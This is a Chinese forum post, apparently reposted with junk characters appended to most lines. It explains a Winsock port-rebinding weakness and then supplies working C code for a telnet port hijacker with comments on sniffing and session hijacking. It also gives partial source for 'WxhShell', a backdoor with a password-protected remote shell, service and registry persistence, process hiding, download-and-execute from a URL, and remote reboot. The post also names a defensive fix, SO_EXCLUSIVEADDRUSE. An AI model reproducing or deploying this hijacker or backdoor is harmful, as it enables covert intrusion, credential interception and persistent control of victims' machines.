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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $P&27  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6:\z8fYD  
+Jc-9Ko\c;  
  saddr.sin_family = AF_INET; '`p0T%w  
#p=Wt&2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F#{ PJ#  
U3w*z6OG  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g: "Hg-s  
wD[qE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hpticW|  
>2)!w  
  这意味着什么?意味着可以进行如下的攻击: c{f1_qXN  
&l~=c2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =`%%*  
3*b!]^d:D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &S# bLE  
~ K|o@LK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %P]-wBJw  
UmQ'=@^kR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ZP%Bu2xd  
NO)vk+   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fGLOXbsA  
L G9#D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R7By=Y!t  
0M>%1 *  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 lc0ZfC  
dnTXx*I:  
  #include GG_A'eX:I  
  #include ?Qs>L~  
  #include U 0S}O(Ptr  
  #include    z9KsSlS ^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d>7bwG+k  
  int main() g:c @  
  { fmq^AnKd  
  WORD wVersionRequested; FkT % -I  
  DWORD ret; 4HDQj]z/  
  WSADATA wsaData; dzMI5fA<_  
  BOOL val; 4^B:Q9B)  
  SOCKADDR_IN saddr; Py,@or7n  
  SOCKADDR_IN scaddr; ?jzadCel  
  int err; cl-i6[F  
  SOCKET s; x9CI>l  
  SOCKET sc; UJF }Ye  
  int caddsize; DSHpM/7  
  HANDLE mt; 5 *>3(U  
  DWORD tid;    ?hpk)Qu  
  wVersionRequested = MAKEWORD( 2, 2 ); XC{(O:EG  
  err = WSAStartup( wVersionRequested, &wsaData ); ( ]o6Pi  
  if ( err != 0 ) { iJE|u  
  printf("error!WSAStartup failed!\n"); 'C*NyHc  
  return -1; k07) g:_  
  } VbX$i!>8  
  saddr.sin_family = AF_INET; IA;KEGJ  
   mwTn}h3N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]QU52R@M  
Onoi6^G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^q$vyY   
  saddr.sin_port = htons(23); Jq`fD~(7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V1;Qt-i  
  { ,K6]Q|U@r  
  printf("error!socket failed!\n"); OiY2l;68  
  return -1; 0?t!tugG  
  } ArU>./)Q  
  val = TRUE; BmUzsfD  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Xc5[d`]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ig/716r|  
  { Gb \ 7W  
  printf("error!setsockopt failed!\n"); |@-WC.  
  return -1; @;,O V&XYn  
  } jIc;jjAF  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @]#+`pZ4A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~K],hi^<P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .^.UJo;4G  
)x|BY>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |:r/K  
  { |I+E`,n"b  
  ret=GetLastError(); 7RD` *s  
  printf("error!bind failed!\n"); PvT8XSlTx!  
  return -1; Da-(D<[0  
  } Ef`LBAfOO  
  listen(s,2); 1I^Sv  
  while(1) ;+b}@e  
  { v|,Hd  
  caddsize = sizeof(scaddr); v V^GIWK  
  //接受连接请求 c[y=K)<Z  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pmW=l/6+V3  
  if(sc!=INVALID_SOCKET) Ft.BfgJ$  
  { Sc~kO4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sqZHk+<%  
  if(mt==NULL) A#  M  
  { q=1SP@;\6  
  printf("Thread Creat Failed!\n"); e<^4F%jSK  
  break; kyo ,yD  
  } V!U[N.&$  
  } Yg]f2ke  
  CloseHandle(mt); G[>-@9_b  
  } 2aje$w-  
  closesocket(s); i)(Q Npv  
  WSACleanup(); ycAQPz}=I  
  return 0; 'qd")  
  }   ]VYl Eqe  
  DWORD WINAPI ClientThread(LPVOID lpParam) S8)awTA9  
  {  B-gr2-  
  SOCKET ss = (SOCKET)lpParam; tl^[MLQa  
  SOCKET sc; &s<  
  unsigned char buf[4096]; [sk"2  
  SOCKADDR_IN saddr; eXaDx%mM  
  long num; Rt:PW}rFf  
  DWORD val; GKd>AP_  
  DWORD ret; zuPH3Q={  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KnFbRhu[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #EM'=Q%TO  
  saddr.sin_family = AF_INET; G<dXJ ]\\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sk3 ;;<H  
  saddr.sin_port = htons(23); Hf-F-~E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %ej"ZeM  
  { `WW0~Tp3  
  printf("error!socket failed!\n"); }I`|*6Up  
  return -1; Elq8WtS  
  } 4QVd{  
  val = 100; M1M]]fT0ME  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8Z!ea3kAT  
  { K/,lw~>  
  ret = GetLastError(); Le'\x`B  
  return -1; j&mL]'Zy  
  } PYf`a`dH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A{o{o++  
  { v: 0i5h&M  
  ret = GetLastError(); Ji[w; [qL  
  return -1; g:clSN,  
  } '~cEdGD9H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]/'] {*T1  
  { D_)vGvv3;.  
  printf("error!socket connect failed!\n"); T:&+#0<  
  closesocket(sc); N.`]D)57  
  closesocket(ss); @&W?e?O ~G  
  return -1; ,i,=LGn  
  } nJya1AH;  
  while(1) ,{50zx2  
  { <XagkD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o%5bg(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 uSQ*/h-<)0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s?E:]  
  num = recv(ss,buf,4096,0); X m3t xp#  
  if(num>0) >?'FH +2K  
  send(sc,buf,num,0); ;~bn@T-  
  else if(num==0) >D;hT*3  
  break; >g2B5KY  
  num = recv(sc,buf,4096,0); >8tuLd*T  
  if(num>0) yi?&^nX@9,  
  send(ss,buf,num,0); ES2qX]I  
  else if(num==0) !tdfTf$  
  break; *^uj(8U  
  } `IoX'|C[h  
  closesocket(ss); zef,*dQY   
  closesocket(sc); & B4U)  
  return 0 ; Td >k \<  
  } _2Z3?/Y  
+*DX(v"BH  
3$cF)5Vf  
========================================================== -DnK )u\@  
gsp 7N  
下边附上一个代码,,WXhSHELL OQQ9R?Ll{  
Sv@p!-m  
========================================================== ^!qmlx*  
hI8C XG  
#include "stdafx.h" g4 X,*H  
#U}U>4'  
#include <stdio.h> ,no:6&#  
#include <string.h> WL Lv a<{  
#include <windows.h> %}!}2s.A  
#include <winsock2.h> n4 @a`lN5g  
#include <winsvc.h> }$1 ;<  
#include <urlmon.h> Ag6 (  
03o3[g?  
#pragma comment (lib, "Ws2_32.lib") 0?xiGSZV  
#pragma comment (lib, "urlmon.lib") vWH>k+9&X  
^BX@0"&-  
#define MAX_USER   100 // 最大客户端连接数 `yZZP   
#define BUF_SOCK   200 // sock buffer YoJ'=z,e  
#define KEY_BUFF   255 // 输入 buffer *"\Q ~#W  
m[j3s=Gr  
#define REBOOT     0   // 重启 8 8$ Y-g5*  
#define SHUTDOWN   1   // 关机 uFWgq::\  
tJPRR_nZv  
#define DEF_PORT   5000 // 监听端口 &>l8SlC?  
ef;L|b%pp  
#define REG_LEN     16   // 注册表键长度 jPNfLwVkl:  
#define SVC_LEN     80   // NT服务名长度 N08n/u&cr,  
P{!:pxu[  
// 从dll定义API fNPj8\#V,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EiN)TB^]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F^z8+W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); znO00qX  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dt+  4$  
&R*5;/ !  
// wxhshell配置信息 Ch9!AUiR  
struct WSCFG { +~ Ay h[V  
  int ws_port;         // 监听端口 O)uM&B=  
  char ws_passstr[REG_LEN]; // 口令 |S:!+[  
  int ws_autoins;       // 安装标记, 1=yes 0=no xPup?oP >  
  char ws_regname[REG_LEN]; // 注册表键名 -0 da"AB  
  char ws_svcname[REG_LEN]; // 服务名 oB R(7U ~0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  MK"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q'% o;z*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _-J@$d%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sC_UalOC_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /2Lo{v=0[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JlQT5k  
=awO63j>  
}; @:9fS  
t} i97;  
// default Wxhshell configuration m8j-lNu  
struct WSCFG wscfg={DEF_PORT, H#6^-6;/  
    "xuhuanlingzhe", 2^#UO=ct  
    1, ;sR6dT)  
    "Wxhshell", Jx$#GUl#j  
    "Wxhshell", |QOJ9~hxD  
            "WxhShell Service", Y;F R"~^  
    "Wrsky Windows CmdShell Service", ?s)sPM?  
    "Please Input Your Password: ", ,Kf8T9z`  
  1, <-:@} |br  
  "http://www.wrsky.com/wxhshell.exe", MlK`sH6  
  "Wxhshell.exe" zWs*kTtA  
    }; qf`xH"$  
`u\z!x'  
// 消息定义模块 !NLvo_[Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DsJn#>?Kh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zk'K.! `^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J.mewD!%z  
char *msg_ws_ext="\n\rExit."; ioNa~F&  
char *msg_ws_end="\n\rQuit."; S?7V "LF  
char *msg_ws_boot="\n\rReboot..."; C<t'f(4s`u  
char *msg_ws_poff="\n\rShutdown..."; p;=kH{uu  
char *msg_ws_down="\n\rSave to "; ),Ho(%T\  
PT#eXS9_  
char *msg_ws_err="\n\rErr!"; $l,Zd6<1q  
char *msg_ws_ok="\n\rOK!"; rgdQR^!l6  
Eu/y">;v#  
char ExeFile[MAX_PATH]; 72ViPWW  
int nUser = 0; Cz@FZb8  
HANDLE handles[MAX_USER]; TDFO9%2c  
int OsIsNt; V.Ba''E7  
]vQ?]d?>a  
SERVICE_STATUS       serviceStatus; $7n#\h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?QSx8d  
20l_ay  
// 函数声明 r7"Au"  
int Install(void); dH2]ZE0V  
int Uninstall(void); bV$8 >[`  
int DownloadFile(char *sURL, SOCKET wsh); 3$N %iE6  
int Boot(int flag); ^jha:d  
void HideProc(void); i<wU.JX&h  
int GetOsVer(void); .pIR/2U\F  
int Wxhshell(SOCKET wsl); #W@% K9  
void TalkWithClient(void *cs); W `u$7k]$  
int CmdShell(SOCKET sock); _TOi [G T  
int StartFromService(void); G?-`>N-u  
int StartWxhshell(LPSTR lpCmdLine); Vv]$\`d#  
Q5y q"/=[a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ";_K x={  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PG6L]o^  
U8K &Q4^  
// 数据结构和表定义 6<s(e_5f  
SERVICE_TABLE_ENTRY DispatchTable[] = 7^I$%o1g  
{ jj3Pf>D+k  
{wscfg.ws_svcname, NTServiceMain}, Vo9>o@FlLM  
{NULL, NULL} 'EL ||  
}; D#d8^U  
nEd M_JPv  
// 自我安装 u*26>.  
int Install(void) *"ykTqa  
{ L8:]`M Q0  
  char svExeFile[MAX_PATH]; chO'Q+pw  
  HKEY key; y)p$_.YFF  
  strcpy(svExeFile,ExeFile); EItxRHV5  
2~M;L&9-  
// 如果是win9x系统,修改注册表设为自启动 eA1k)gjE  
if(!OsIsNt) { E5*-;>2c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3V/_I<y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xHv|ca.E  
  RegCloseKey(key); NqT1buU#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ApG'jN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gHvW e  
  RegCloseKey(key); #juGD9e  
  return 0; x/%7%_+'  
    } rkfQr9Vc  
  } 9 V=<| 2  
} "u<jbD  
else {  /[Bl  
}%!FMXe  
// 如果是NT以上系统,安装为系统服务 V;iL[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JlC<MQ?  
if (schSCManager!=0) J[}gku?C;  
{ M)"]$TM  
  SC_HANDLE schService = CreateService !K3i-zY  
  ( gH{:`E k7  
  schSCManager, wi\z>'R  
  wscfg.ws_svcname, Y_[g_  
  wscfg.ws_svcdisp, 5ys #L&q'Z  
  SERVICE_ALL_ACCESS, oUQGLl!V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;'=VrE6  
  SERVICE_AUTO_START, G-\<5]k]  
  SERVICE_ERROR_NORMAL, [i(Cl}  
  svExeFile, DC|xilP1O  
  NULL, s?^,iQ+tp  
  NULL, S}.\v<  
  NULL, 0 &*P}U}Uc  
  NULL, 09  
  NULL H\)gE>  
  ); M5']sdR(l  
  if (schService!=0) /rIm7FW)  
  { -l-AToO4  
  CloseServiceHandle(schService); =<[7J]%  
  CloseServiceHandle(schSCManager); ZR/R'prW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ATMc`z:5T  
  strcat(svExeFile,wscfg.ws_svcname); 6Cl+KcJH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v]WH8GI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9U2Px$E  
  RegCloseKey(key); Z$!C=  
  return 0; @+?+6sS  
    } ?_VRfeztw  
  } *he7BUO  
  CloseServiceHandle(schSCManager); e> ar  
} ,'FD}yw4v  
} $Q8P@L)[  
Hs[}l_gYn  
return 1; M0O>Ljo4RN  
} C!!mOAhJ  
H9%l?r5  
// 自我卸载 [urH a  
int Uninstall(void) )UR1E?'  
{ #mgA/q?A  
  HKEY key; [zY!'cz?  
@<vF]\Ce  
if(!OsIsNt) { _/|8%])  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G$cxDGo  
  RegDeleteValue(key,wscfg.ws_regname); 1KW3l<v-6  
  RegCloseKey(key); HR[Q ?rg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Z\{D*=V8  
  RegDeleteValue(key,wscfg.ws_regname); X!T|07#c  
  RegCloseKey(key); TT|-aS0l(u  
  return 0; $!a?i@  
  } M$,Jg5Dc  
} davvI$TA  
}  Nm jzDN  
else { ;xSRwSNDi(  
mYX56,b}5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j: <t  
if (schSCManager!=0) q^u1z|'Z  
{ Lb!r(o>8Cb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m +Y@UgB  
  if (schService!=0) hgj CXl  
  { NtHbwU,  
  if(DeleteService(schService)!=0) { xC)7eQn/R  
  CloseServiceHandle(schService); w'd.;  
  CloseServiceHandle(schSCManager); N%O[  
  return 0; a|UqeNI{  
  } r k@UsHy  
  CloseServiceHandle(schService); -dl}_   
  } gk"mr_03  
  CloseServiceHandle(schSCManager); D2Y&[zgv  
} F b1EMVu  
} `Gf{z%/  
!{IC[g n  
return 1; jUYF.K&  
} 8, =G1c  
(%i!%{!]  
// 从指定url下载文件 =h(7rU"Yz  
int DownloadFile(char *sURL, SOCKET wsh) 7k>zuzRyF  
{ Q5g,7ac8L  
  HRESULT hr; bpGzTU  
char seps[]= "/"; HP;|'b  
char *token; V R"8Di&)  
char *file; -zprNQW  
char myURL[MAX_PATH]; R3$@N  
char myFILE[MAX_PATH]; .Nc_n5D6  
Pow|:Lau!  
strcpy(myURL,sURL); \kxh#{$z?  
  token=strtok(myURL,seps); TNx_Rc}  
  while(token!=NULL) \F[n`C"Is  
  { ?k"0w)8  
    file=token; 7 xUE,)?  
  token=strtok(NULL,seps); mIRAS"Q!m  
  } C}9Kx }q  
.U<F6I:<md  
GetCurrentDirectory(MAX_PATH,myFILE); C]/&vh7ta  
strcat(myFILE, "\\"); FK6K6wU52m  
strcat(myFILE, file); k'x #t(  
  send(wsh,myFILE,strlen(myFILE),0); D 0  
send(wsh,"...",3,0); HQl~Dh0DJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I:nI6gF  
  if(hr==S_OK) WI6(#8^p  
return 0; zFOL(s.h|0  
else !Pw$48cg  
return 1; =9(tsB gTX  
au}s=ua~i  
} "tKNlHBu'  
k9 l^6#<?  
// 系统电源模块  *=TYVM9  
int Boot(int flag) xLZ bU4  
{ ZlrhC= 0  
  HANDLE hToken; s*f1x N<  
  TOKEN_PRIVILEGES tkp; qT$ )Rb&  
( :iPm<  
  if(OsIsNt) { J=@xAVBc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |f<9miNu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V7BsEw  
    tkp.PrivilegeCount = 1; B7|c`7x(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -rO*7HO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5:$Xtq  
if(flag==REBOOT) { KYf;_C,$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fL2^\dB;  
  return 0; !f`5B( @  
} g#}tm<  
else { W=3? x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y=#j`MH{>  
  return 0; o~;M"  
} @*SA$9/l  
  } 2Q}7fht  
  else { z#RuwB+  
if(flag==REBOOT) { 2qlIy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) { a. <`  
  return 0; {gw [%[ZM  
} \TZ|S,FS  
else { bH,M,xIL2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -8/JP  
  return 0; rfc|`*m}0  
} K>$qun?5  
} >%l:Dw\A:  
%P;[fJ `G  
return 1; *y?[ <2"$  
} L@?e:*h  
12-EDg/1  
// win9x进程隐藏模块 }Bi@?Sb  
void HideProc(void) B>,A(X&  
{ e+{BJN vz  
~@@ Z|w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W6i3Psjsw  
  if ( hKernel != NULL ) qW3x{L$c  
  { }1Z6e[K?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tJAnuhX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L?Cjo4xS  
    FreeLibrary(hKernel); WI{; #A  
  } :xtT)w  
f]]f85  
return; L0xsazX:x  
} 9OfU7_m  
9>;} /*:H  
// 获取操作系统版本 ZL,8,;]  
int GetOsVer(void) [1U{ci&=p  
{ "O``7HA}  
  OSVERSIONINFO winfo; y] y9'5_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hr&Ere8.4p  
  GetVersionEx(&winfo); E?_ zZ2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wt:~S/l  
  return 1; +<{m45  
  else %i595Ij-]  
  return 0; %jT w  
} +!><5  
op.d;lO@  
// 客户端句柄模块 KGD'mByt"  
int Wxhshell(SOCKET wsl) w,/6B&|  
{ mqw 84u  
  SOCKET wsh; '-.wFB;  
  struct sockaddr_in client; zIm-X,~I$  
  DWORD myID; pZjpc#*9N  
=9<$eLE0  
  while(nUser<MAX_USER) \?d TH:v/E  
{ Z vRxi&Z{?  
  int nSize=sizeof(client); C/)`<b(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *E7R(#,yC  
  if(wsh==INVALID_SOCKET) return 1; ,_bp)-OG  
xh r[ A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }#bZ8tm&  
if(handles[nUser]==0) 7O$ &  
  closesocket(wsh); >4c`UW  
else &oEyixe  
  nUser++; %N1"* </q  
  } djGs~H>;U_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cWM:  
5NFRPGYX  
  return 0; Sc{Tq\t;%  
} (0}j]p'w  
z37Z %^  
// 关闭 socket e=L*&X  
void CloseIt(SOCKET wsh) hkF^?AJ  
{ D J_DonO]  
closesocket(wsh); "k, K~@}  
nUser--; A%n?}  
ExitThread(0); I)lC{v  
} NNp}|a9  
_#vGs:-x&  
// 客户端请求句柄 ^)<w*iqBD  
void TalkWithClient(void *cs) GFt1  
{ yquAr$L!  
]x_F{&6U8  
  SOCKET wsh=(SOCKET)cs; GV>&g  
  char pwd[SVC_LEN]; Wn~ZA#  
  char cmd[KEY_BUFF]; #j.FJFGX  
char chr[1]; #R<G,"N5  
int i,j; b5S7{"<V  
mLaCkn  
  while (nUser < MAX_USER) {  P63 (^R  
%qi%$  
if(wscfg.ws_passstr) { cm,4&x6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &mdB\Y?^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s~Gw  
  //ZeroMemory(pwd,KEY_BUFF); URQ@=W7  
      i=0; *(Ro;?O,pi  
  while(i<SVC_LEN) { 7_%2xewV|  
LD_M 3 P  
  // 设置超时 /ao<A\KR  
  fd_set FdRead; 7 Kjj?~RA  
  struct timeval TimeOut; %"+4 D,'l  
  FD_ZERO(&FdRead); yzg9I  
  FD_SET(wsh,&FdRead); /GN4I!LA  
  TimeOut.tv_sec=8; {$|/|*  
  TimeOut.tv_usec=0; i*68-n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); --A&TV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BV1u,<T"  
I*( 1.%:m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H`gb}?9R  
  pwd=chr[0];  J `x}{K  
  if(chr[0]==0xd || chr[0]==0xa) { 3Y(9\}E@`  
  pwd=0; ofK='G .  
  break; hLo>R'@uN  
  } T]uKH29.%  
  i++; qy&\Xgn;GA  
    } J'Gm7h{   
gi1j/j7  
  // 如果是非法用户,关闭 socket 'e85s%ru  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q<EEb  
} gb(#DbI  
Bj8<@~bX:L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +(y>qd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _Fxe|"<^  
O:,=xIXR  
while(1) { s-%J 5_d f  
sJv`fjf%8  
  ZeroMemory(cmd,KEY_BUFF); & +]x;K  
B\/7^{i5  
      // 自动支持客户端 telnet标准   o X@nP?\  
  j=0; N3Z@cp  
  while(j<KEY_BUFF) { yf?W^{^|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^}hZ'<PK  
  cmd[j]=chr[0]; ]) =H  
  if(chr[0]==0xa || chr[0]==0xd) { m3luhGn  
  cmd[j]=0; AA2ui%  
  break; y{92Lym  
  } ,jTPg/r  
  j++; }_]As}E  
    } *l {4lu  
L^)qe^%3  
  // 下载文件  C/  
  if(strstr(cmd,"http://")) { *_#&"(P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g&kH'fR8  
  if(DownloadFile(cmd,wsh)) 9cz)f\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zuMO1s  
  else @.1Qs`pt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Fnzi0b  
  } BvQUn@ XE  
  else { oSmjs  
<"A#Eok|4  
    switch(cmd[0]) { wx./"m.M  
  #w;;D7{@m  
  // 帮助 Vf$1Sjw  
  case '?': { NZfd_? 3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'QR4~`6I  
    break; ET3 ,9+Gj  
  } =EWD |<  
  // 安装 0R*}QXph  
  case 'i': { NN11}E6  
    if(Install()) GZS{&w!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RyE_|]I62u  
    else 77tZp @>hn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]`K[W&  
    break; <ZV7|'^  
    } WSS(Bm|B  
  // 卸载 ExQ--!AC=  
  case 'r': { w~]} acP  
    if(Uninstall()) F=: c5z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $82zyq  
    else `BpCRKTG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RW)k_#%=  
    break; &*jixqzvn  
    } HwM /}-t  
  // 显示 wxhshell 所在路径 c[Yq5Bu{y  
  case 'p': { ]a=l^Pc(xN  
    char svExeFile[MAX_PATH]; PB@-U.Z  
    strcpy(svExeFile,"\n\r"); $6Z[|9W^A  
      strcat(svExeFile,ExeFile); e_^KI  
        send(wsh,svExeFile,strlen(svExeFile),0);  t9]r  
    break; sZT VM9<)  
    } il7 !}  
  // 重启 *%nX#mwz  
  case 'b': { @YsL*zw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4 #G3ew  
    if(Boot(REBOOT)) [XxA.S)x3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *50ZinfoG  
    else { q4 $sc_0i  
    closesocket(wsh); NXi ,5  
    ExitThread(0); IN>TsTo  
    } N]*!8  
    break; m8p4U-*j  
    } h|)2'07  
  // 关机 HaS[.&\S0  
  case 'd': { ,I=O"z>9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z"+(LO!  
    if(Boot(SHUTDOWN)) RBPYG u'6B  
